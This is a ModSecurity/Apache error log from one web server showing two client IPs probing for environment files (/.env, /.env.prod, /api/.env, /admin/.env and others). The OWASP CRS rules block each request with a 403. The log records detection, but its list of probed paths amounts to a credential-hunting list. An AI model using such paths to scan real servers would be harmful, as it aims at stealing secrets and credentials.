[Sat May 31 11:36:27.625740 2025] [:error] [pid 3535581] [client 93.123.109.101:58048] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aDrNm8DOx7Z0Y9wu01FRpQAAAAU&quot;]
[Sat May 31 11:36:27.807364 2025] [:error] [pid 3535554] [client 93.123.109.101:58050] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDrNm-XCl39lWlOoO04fhwAAAAQ&quot;]
[Sat May 31 11:36:27.807620 2025] [:error] [pid 3535554] [client 93.123.109.101:58050] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDrNm-XCl39lWlOoO04fhwAAAAQ&quot;]
[Sat May 31 11:36:27.807829 2025] [:error] [pid 3535554] [client 93.123.109.101:58050] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aDrNm-XCl39lWlOoO04fhwAAAAQ&quot;]
[Sat May 31 11:36:28.057606 2025] [:error] [pid 3536288] [client 93.123.109.101:58052] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDrNnE7hqgNRWbaHNkFYiQAAAAo&quot;]
[Sat May 31 11:36:28.057867 2025] [:error] [pid 3536288] [client 93.123.109.101:58052] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDrNnE7hqgNRWbaHNkFYiQAAAAo&quot;]
[Sat May 31 11:36:28.058053 2025] [:error] [pid 3536288] [client 93.123.109.101:58052] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDrNnE7hqgNRWbaHNkFYiQAAAAo&quot;]
[Sat May 31 11:36:28.235027 2025] [:error] [pid 3535553] [client 93.123.109.101:58064] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aDrNnE_7v63ITAiL1uig8AAAAAM&quot;]
[Sat May 31 11:36:28.235298 2025] [:error] [pid 3535553] [client 93.123.109.101:58064] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aDrNnE_7v63ITAiL1uig8AAAAAM&quot;]
[Sat May 31 11:36:28.235471 2025] [:error] [pid 3535553] [client 93.123.109.101:58064] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aDrNnE_7v63ITAiL1uig8AAAAAM&quot;]
[Sat May 31 11:36:28.383370 2025] [:error] [pid 3536285] [client 93.123.109.101:58078] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDrNnIEq4lJoMFaf2sMJYAAAAAg&quot;]
[Sat May 31 11:36:28.383622 2025] [:error] [pid 3536285] [client 93.123.109.101:58078] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDrNnIEq4lJoMFaf2sMJYAAAAAg&quot;]
[Sat May 31 11:36:28.383794 2025] [:error] [pid 3536285] [client 93.123.109.101:58078] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDrNnIEq4lJoMFaf2sMJYAAAAAg&quot;]
[Sat May 31 11:36:29.458329 2025] [:error] [pid 3536289] [client 93.123.109.101:58120] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDrNnaG7kNEKUqP7i5KqSAAAAAs&quot;]
[Sat May 31 11:36:29.458579 2025] [:error] [pid 3536289] [client 93.123.109.101:58120] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDrNnaG7kNEKUqP7i5KqSAAAAAs&quot;]
[Sat May 31 11:36:29.458758 2025] [:error] [pid 3536289] [client 93.123.109.101:58120] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDrNnaG7kNEKUqP7i5KqSAAAAAs&quot;]
[Sat May 31 11:36:29.670671 2025] [:error] [pid 3535581] [client 93.123.109.101:58130] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDrNncDOx7Z0Y9wu01FRpgAAAAU&quot;]
[Sat May 31 11:36:29.670911 2025] [:error] [pid 3535581] [client 93.123.109.101:58130] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDrNncDOx7Z0Y9wu01FRpgAAAAU&quot;]
[Sat May 31 11:36:29.671078 2025] [:error] [pid 3535581] [client 93.123.109.101:58130] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aDrNncDOx7Z0Y9wu01FRpgAAAAU&quot;]
[Sat May 31 11:36:29.921921 2025] [:error] [pid 3535554] [client 93.123.109.101:58146] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aDrNneXCl39lWlOoO04fiAAAAAQ&quot;]
[Sat May 31 11:36:29.922165 2025] [:error] [pid 3535554] [client 93.123.109.101:58146] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aDrNneXCl39lWlOoO04fiAAAAAQ&quot;]
[Sat May 31 11:36:29.922365 2025] [:error] [pid 3535554] [client 93.123.109.101:58146] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aDrNneXCl39lWlOoO04fiAAAAAQ&quot;]
[Sat May 31 23:23:44.335187 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:44.335545 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:44.335725 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:44.666318 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:44.666590 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:44.666768 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDtzYE_7v63ITAiL1uihMQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat May 31 23:23:45.098118 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
[Sat May 31 23:23:45.099229 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
[Sat May 31 23:23:45.099456 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMgAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
[Sat May 31 23:23:45.429693 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
[Sat May 31 23:23:45.429962 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aDtzYU_7v63ITAiL1uihMwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/.env.dist
